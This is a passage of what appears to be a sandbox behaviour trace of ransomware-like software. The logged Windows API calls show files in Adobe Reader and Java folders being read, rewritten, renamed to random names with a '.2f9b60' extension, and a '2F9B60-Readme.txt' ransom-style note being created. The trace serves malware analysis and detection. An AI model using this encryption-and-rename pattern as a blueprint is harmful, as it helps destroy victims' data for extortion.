(x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f74 [0229.082] GetFileSizeEx (in: hFile=0x1f74, lpFileSize=0x27b5f8a0 | out: lpFileSize=0x27b5f8a0*=1188) returned 1 [0229.082] SetFilePointerEx (in: hFile=0x1f74, liDistanceToMove=0x4a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.082] ReadFile (in: hFile=0x1f74, lpBuffer=0x27b5f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27b5f868, lpOverlapped=0x0 | out: lpBuffer=0x27b5f820*, lpNumberOfBytesRead=0x27b5f868*=0x4, lpOverlapped=0x0) returned 1 [0229.103] SetFilePointerEx (in: hFile=0x1f74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0bf0 [0229.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2ff0 [0229.105] NtQuerySystemTime (in: CurrentTime=0x27b5f760 | out: CurrentTime=0x27b5f760*=132462178331026000) returned 0x0 [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x58ec0c4 [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x32c9cbac [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x7709fdfe [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x371e2fe3 [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x45fdbcf3 [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x74dc71d7 [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x688705d5 [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x487ffe95 [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x6bd2b957 [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x328a790e [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x33c17992 [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x71460dae [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x93d19ec [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x63cf45d0 [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x72f4b662 [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x11c838bb [0229.105] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x133c7994 [0229.106] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x1428b6a4 [0229.106] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x3e89d9dc [0229.106] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x4e35b523 [0229.106] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x5d4070c7 [0229.106] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x69c44fce [0229.106] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x3614c05f [0229.106] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0xb3b5127 [0229.106] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x299915ad [0229.106] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x455a6550 [0229.106] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x7af24363 [0229.106] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x2677bf0a [0229.106] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x5cd3e460 [0229.106] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0xe5ff37e [0229.106] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x2f777ec8 [0229.106] RtlRandomEx (in: Seed=0x27b5f750 | out: Seed=0x27b5f750) returned 0x5c657378 [0229.116] ReadFile (in: hFile=0x1f74, lpBuffer=0x203ff2a0, nNumberOfBytesToRead=0x4a4, lpNumberOfBytesRead=0x27b5f750, lpOverlapped=0x0 | out: lpBuffer=0x203ff2a0*, lpNumberOfBytesRead=0x27b5f750*=0x4a4, lpOverlapped=0x0) returned 1 [0229.116] SetFilePointerEx (in: hFile=0x1f74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.116] WriteFile (in: hFile=0x1f74, lpBuffer=0x20415b00*, nNumberOfBytesToWrite=0x4a4, lpNumberOfBytesWritten=0x27b5f754, lpOverlapped=0x0 | out: lpBuffer=0x20415b00*, lpNumberOfBytesWritten=0x27b5f754*=0x4a4, lpOverlapped=0x0) returned 1 [0233.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4240 [0233.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4270 [0233.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4270) returned 1 [0233.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20415b00) returned 1 [0233.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203ff2a0) returned 1 [0233.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0233.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61d30) returned 1 [0233.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x422f4270 [0233.147] SetFilePointerEx (in: hFile=0x1f74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.147] WriteFile (in: hFile=0x1f74, lpBuffer=0x1696f0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x27b5f870, lpOverlapped=0x0 | out: lpBuffer=0x1696f0*, lpNumberOfBytesWritten=0x27b5f870*=0x102, lpOverlapped=0x0) returned 1 [0235.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61a10 [0235.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e00 [0235.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3e00) returned 1 [0235.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0235.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e00 [0235.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e60 [0235.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3e60) returned 1 [0235.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a10) returned 1 [0235.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1cdb3e60 [0235.385] sprintf (in: _Dest=0x1cdb3e60, _Format="%c%c" | out: _Dest="5b") returned 2 [0235.386] sprintf (in: _Dest=0x1cdb3e62, _Format="%c%c" | out: _Dest="b8") returned 2 [0235.386] sprintf (in: _Dest=0x1cdb3e64, _Format="%c%c" | out: _Dest="74") returned 2 [0235.386] sprintf (in: _Dest=0x1cdb3e66, _Format="%c%c" | out: _Dest="98") returned 2 [0235.386] sprintf (in: _Dest=0x1cdb3e68, _Format="%c%c" | out: _Dest="46") returned 2 [0235.386] sprintf (in: _Dest=0x1cdb3e6a, _Format="%c%c" | out: _Dest="a7") returned 2 [0235.386] sprintf (in: _Dest=0x1cdb3e6c, _Format="%c%c" | out: _Dest="98") returned 2 [0235.386] sprintf (in: _Dest=0x1cdb3e6e, _Format="%c%c" | out: _Dest="55") returned 2 [0235.386] sprintf (in: _Dest=0x1cdb3e70, _Format="%c%c" | out: _Dest="ad") returned 2 [0235.386] sprintf (in: _Dest=0x1cdb3e72, _Format="%c%c" | out: _Dest="3b") returned 2 [0235.386] sprintf (in: _Dest=0x1cdb3e74, _Format="%c%c" | out: _Dest="8b") returned 2 [0235.386] sprintf (in: _Dest=0x1cdb3e76, _Format="%c%c" | out: _Dest="d7") returned 2 [0235.386] sprintf (in: _Dest=0x1cdb3e78, _Format="%c%c" | out: _Dest="48") returned 2 [0235.386] sprintf (in: _Dest=0x1cdb3e7a, _Format="%c%c" | out: _Dest="d4") returned 2 [0235.386] sprintf (in: _Dest=0x1cdb3e7c, _Format="%c%c" | out: _Dest="bf") returned 2 [0235.386] sprintf (in: _Dest=0x1cdb3e7e, _Format="%c%c" | out: _Dest="f7") returned 2 [0235.386] RtlInitAnsiString (in: DestinationString=0x27b5f8e8, SourceString="5bb8749846a79855ad3b8bd748d4bff7" | out: DestinationString="5bb8749846a79855ad3b8bd748d4bff7") [0235.386] RtlAnsiStringToUnicodeString (in: DestinationString=0x27b5f8b8, SourceString="5bb8749846a79855ad3b8bd748d4bff7", AllocateDestinationString=1 | out: DestinationString="5bb8749846a79855ad3b8bd748d4bff7") returned 0x0 [0235.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce62370 [0235.387] wcscat (in: _Dest=0x20508590, _Source="5bb87498" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\5bb87498") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\5bb87498" [0235.387] wcscat (in: _Dest=0x20508590, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\5bb87498.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\5bb87498.2f9b60" [0235.387] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\5bb87498.2f9b60", NtPathName=0x27b5f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\5bb87498.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x202792b0 [0236.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202792b0) returned 1 [0236.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a8530) returned 1 [0236.757] NtQueryInformationFile (in: FileHandle=0x1f74, IoStatusBlock=0x27b5f8f8, FileInformation=0x27b5f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27b5f8f8, FileInformation=0x27b5f908) returned 0x0 [0236.757] NtSetInformationFile (FileHandle=0x1f74, IoStatusBlock=0x27b5f8f8, FileInformation=0x27b5f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0236.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508590) returned 1 [0236.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62370) returned 1 [0236.999] FlushFileBuffers (hFile=0x1f74) returned 1 [0238.193] CloseHandle (hObject=0x1f74) returned 1 [0241.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x431452d0 [0241.217] wcscpy (in: _Dest=0x431452d0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\" [0241.217] wcscat (in: _Dest=0x431452d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\2F9B60-Readme.txt" [0241.217] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\2f9b60-readme.txt")) returned 0xffffffff [0241.217] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x27a0 [0244.025] WriteFile (hFile=0x27a0, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x27b5f7b0, lpOverlapped=0x0) Thread: id = 3801 os_tid = 0x10c8 [0227.660] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20 [0227.660] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyDrop32x32.gif", dwFileAttributes=0x20) returned 1 [0227.661] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25c8 [0227.662] GetFileSizeEx (in: hFile=0x25c8, lpFileSize=0x274cf920 | out: lpFileSize=0x274cf920*=165) returned 1 [0227.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b00 [0227.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d70 [0227.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced75c0 [0227.663] NtQuerySystemTime (in: CurrentTime=0x274cf7e0 | out: CurrentTime=0x274cf7e0*=132462178316518000) returned 0x0 [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x7eb8b23f [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0xbbf4171 [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x5f744c48 [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x3c5b729b [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x4191f0d5 [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x161bcb0c [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x613f9b96 [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x70b2c42a [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x186fc651 [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x1f3175a5 [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x5f744c48 [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x8eb5115 [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x3c4d7a17 [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x1af63ab6 [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x44d23a6f [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x54220ccb [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x2ff5e4bc [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x584c387a [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x4683c13b [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x3ec0935a [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x54da104b [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x5c4805a1 [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x5e0ed71d [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x1675a367 [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x5031b6c1 [0227.663] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x598ef331 [0227.664] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x33358265 [0227.664] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x158fa8c4 [0227.664] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x63fca3be [0227.664] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x5c812626 [0227.664] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x663cd4a2 [0227.664] RtlRandomEx (in: Seed=0x274cf7d0 | out: Seed=0x274cf7d0) returned 0x21d295e5 [0227.671] ReadFile (in: hFile=0x25c8, lpBuffer=0x201500b0, nNumberOfBytesToRead=0xa5, lpNumberOfBytesRead=0x274cf7d0, lpOverlapped=0x0 | out: lpBuffer=0x201500b0*, lpNumberOfBytesRead=0x274cf7d0*=0xa5, lpOverlapped=0x0) returned 1 [0227.672] SetFilePointerEx (in: hFile=0x25c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.672] WriteFile (in: hFile=0x25c8, lpBuffer=0x201885a0*, nNumberOfBytesToWrite=0xa5, lpNumberOfBytesWritten=0x274cf7d4, lpOverlapped=0x0 | out: lpBuffer=0x201885a0*, lpNumberOfBytesWritten=0x274cf7d4*=0xa5, lpOverlapped=0x0) returned 1 [0232.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a80 [0232.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202670e0 [0232.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202670e0) returned 1 [0232.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201885a0) returned 1 [0232.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201500b0) returned 1 [0232.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cbc0) returned 1 [0232.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61970) returned 1 [0232.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1ce61970 [0232.169] SetFilePointerEx (in: hFile=0x25c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.169] WriteFile (in: hFile=0x25c8, lpBuffer=0x42c21000*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x274cf8f0, lpOverlapped=0x0 | out: lpBuffer=0x42c21000*, lpNumberOfBytesWritten=0x274cf8f0*=0x120, lpOverlapped=0x0) returned 1 [0235.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce617e0 [0235.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.945] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0235.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83d0) returned 1 [0235.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f7b0 [0235.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0235.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6bd0 [0235.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6bd0) returned 1 [0235.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce617e0) returned 1 [0235.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x4310e870 [0235.948] sprintf (in: _Dest=0x4310e870, _Format="%c%c" | out: _Dest="74") returned 2 [0235.948] sprintf (in: _Dest=0x4310e872, _Format="%c%c" | out: _Dest="58") returned 2 [0235.948] sprintf (in: _Dest=0x4310e874, _Format="%c%c" | out: _Dest="38") returned 2 [0235.948] sprintf (in: _Dest=0x4310e876, _Format="%c%c" | out: _Dest="f8") returned 2 [0235.948] sprintf (in: _Dest=0x4310e878, _Format="%c%c" | out: _Dest="b5") returned 2 [0235.948] sprintf (in: _Dest=0x4310e87a, _Format="%c%c" | out: _Dest="4f") returned 2 [0235.948] sprintf (in: _Dest=0x4310e87c, _Format="%c%c" | out: _Dest="01") returned 2 [0235.948] sprintf (in: _Dest=0x4310e87e, _Format="%c%c" | out: _Dest="0f") returned 2 [0235.948] sprintf (in: _Dest=0x4310e880, _Format="%c%c" | out: _Dest="f3") returned 2 [0235.948] sprintf (in: _Dest=0x4310e882, _Format="%c%c" | out: _Dest="db") returned 2 [0235.948] sprintf (in: _Dest=0x4310e884, _Format="%c%c" | out: _Dest="1e") returned 2 [0235.948] sprintf (in: _Dest=0x4310e886, _Format="%c%c" | out: _Dest="f9") returned 2 [0235.948] sprintf (in: _Dest=0x4310e888, _Format="%c%c" | out: _Dest="a1") returned 2 [0235.948] sprintf (in: _Dest=0x4310e88a, _Format="%c%c" | out: _Dest="c0") returned 2 [0235.948] sprintf (in: _Dest=0x4310e88c, _Format="%c%c" | out: _Dest="40") returned 2 [0235.948] sprintf (in: _Dest=0x4310e88e, _Format="%c%c" | out: _Dest="11") returned 2 [0235.948] sprintf (in: _Dest=0x4310e890, _Format="%c%c" | out: _Dest="43") returned 2 [0235.948] sprintf (in: _Dest=0x4310e892, _Format="%c%c" | out: _Dest="89") returned 2 [0235.948] sprintf (in: _Dest=0x4310e894, _Format="%c%c" | out: _Dest="94") returned 2 [0235.949] sprintf (in: _Dest=0x4310e896, _Format="%c%c" | out: _Dest="b2") returned 2 [0235.949] sprintf (in: _Dest=0x4310e898, _Format="%c%c" | out: _Dest="6e") returned 2 [0235.949] sprintf (in: _Dest=0x4310e89a, _Format="%c%c" | out: _Dest="82") returned 2 [0235.949] sprintf (in: _Dest=0x4310e89c, _Format="%c%c" | out: _Dest="a2") returned 2 [0235.949] sprintf (in: _Dest=0x4310e89e, _Format="%c%c" | out: _Dest="90") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8a0, _Format="%c%c" | out: _Dest="3c") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8a2, _Format="%c%c" | out: _Dest="8e") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8a4, _Format="%c%c" | out: _Dest="c0") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8a6, _Format="%c%c" | out: _Dest="72") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8a8, _Format="%c%c" | out: _Dest="d6") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8aa, _Format="%c%c" | out: _Dest="fd") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8ac, _Format="%c%c" | out: _Dest="d9") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8ae, _Format="%c%c" | out: _Dest="16") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8b0, _Format="%c%c" | out: _Dest="fc") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8b2, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8b4, _Format="%c%c" | out: _Dest="1d") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8b6, _Format="%c%c" | out: _Dest="71") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8b8, _Format="%c%c" | out: _Dest="d9") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8ba, _Format="%c%c" | out: _Dest="eb") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8bc, _Format="%c%c" | out: _Dest="d4") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8be, _Format="%c%c" | out: _Dest="60") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8c0, _Format="%c%c" | out: _Dest="90") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8c2, _Format="%c%c" | out: _Dest="a7") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8c4, _Format="%c%c" | out: _Dest="0c") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8c6, _Format="%c%c" | out: _Dest="be") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8c8, _Format="%c%c" | out: _Dest="5b") returned 2 [0235.949] sprintf (in: _Dest=0x4310e8ca, _Format="%c%c" | out: _Dest="d2") returned 2 [0235.949] RtlInitAnsiString (in: DestinationString=0x274cf968, SourceString="745838f8b54f010ff3db1ef9a1c04011438994b26e82a2903c8ec072d6fdd916fcb41d71d9ebd46090a70cbe5bd2" | out: DestinationString="745838f8b54f010ff3db1ef9a1c04011438994b26e82a2903c8ec072d6fdd916fcb41d71d9ebd46090a70cbe5bd2") [0235.949] RtlAnsiStringToUnicodeString (in: DestinationString=0x274cf938, SourceString="745838f8b54f010ff3db1ef9a1c04011438994b26e82a2903c8ec072d6fdd916fcb41d71d9ebd46090a70cbe5bd2", AllocateDestinationString=1 | out: DestinationString="745838f8b54f010ff3db1ef9a1c04011438994b26e82a2903c8ec072d6fdd916fcb41d71d9ebd46090a70cbe5bd2") returned 0x0 [0235.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205f0f0 [0235.950] wcscat (in: _Dest=0x1ce16a80, _Source="745838f8b54f010ff3db1ef" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\745838f8b54f010ff3db1ef") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\745838f8b54f010ff3db1ef" [0235.950] wcscat (in: _Dest=0x1ce16a80, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\745838f8b54f010ff3db1ef.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\745838f8b54f010ff3db1ef.2f9b60" [0235.950] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\745838f8b54f010ff3db1ef.2f9b60", NtPathName=0x274cf910, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\745838f8b54f010ff3db1ef.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.950] RtlAllocateHeap 